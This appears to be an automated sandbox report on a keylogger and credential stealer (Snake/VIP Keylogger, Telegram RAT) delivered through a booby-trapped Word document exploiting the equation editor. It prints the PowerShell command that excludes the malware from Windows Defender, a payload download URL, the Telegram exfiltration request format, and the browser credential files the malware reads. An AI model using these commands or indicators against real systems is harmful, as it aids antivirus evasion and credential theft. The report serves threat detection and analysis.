Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C7200 LdrInitializeThunk, 9_2_001C7200
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe"
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory written: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe "C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Queries volume information: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Queries volume information: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1519253 Sample: Payment Details.doc Startdate: 26/09/2024 Architecture: WINDOWS Score: 100 48 Initial sample is an obfuscated RTF file 2->48 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 26 other signatures 2->54 8 WINWORD.EXE 291 18 2->8         started        process3 process4 10 EQNEDT32.EXE 11 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 38 66.63.187.123, 49163, 80 ASN-QUADRANET-GLOBALUS United States 10->38 28 C:\Users\user\...\ncfplgpeter20306.exe, PE32 10->28 dropped 30 C:\Users\user\AppData\...\HgCppsoKmxQq[1].exe, PE32 10->30 dropped 66 Office equation editor establishes network connection 10->66 68 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->68 17 ncfplgpeter20306.exe 3 10->17         started        file6 signatures7 process8 signatures9 40 Antivirus detection for dropped file 17->40 42 Multi AV Scanner detection for dropped file 17->42 44 Machine Learning detection for dropped file 17->44 46 2 other signatures 17->46 20 ncfplgpeter20306.exe 12 2 17->20         started        24 powershell.exe 4 17->24         started        26 ncfplgpeter20306.exe 17->26         started        process10 dnsIp11 32 reallyfreegeoip.org 20->32 34 api.telegram.org 20->34 36 9 other IPs or domains 20->36 56 Installs new ROOT certificates 20->56 58 Tries to steal Mail credentials (via file / registry access) 20->58 60 Tries to harvest and steal browser information (history, passwords, etc) 20->60 signatures12 62 Tries to detect the country of the analysis system (by using the IP) 32->62 64 Uses the Telegram API (likely for C&C communication) 34->64
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
66.63.187.123
 unknown United States
8100 ASN-QUADRANET-GLOBALUS true
193.122.6.168
 unknown United States
31898 ORACLE-BMC-31898US false
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.130.0
 unknown United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 checkip.dyndns.com United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.247.73 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:609290%0D%0ADate%20and%20Time:%209/27/2024%20/%2010:16:15%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20609290%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
  • Avira URL Cloud: safe
 unknown
https://reallyfreegeoip.org/xml/8.46.123.33 false
  • Avira URL Cloud: safe
 unknown
http://66.63.187.123/txt/HgCppsoKmxQq.exe true
  • Avira URL Cloud: safe
 unknown
http://checkip.dyndns.org/ false
  • URL Reputation: safe
 unknown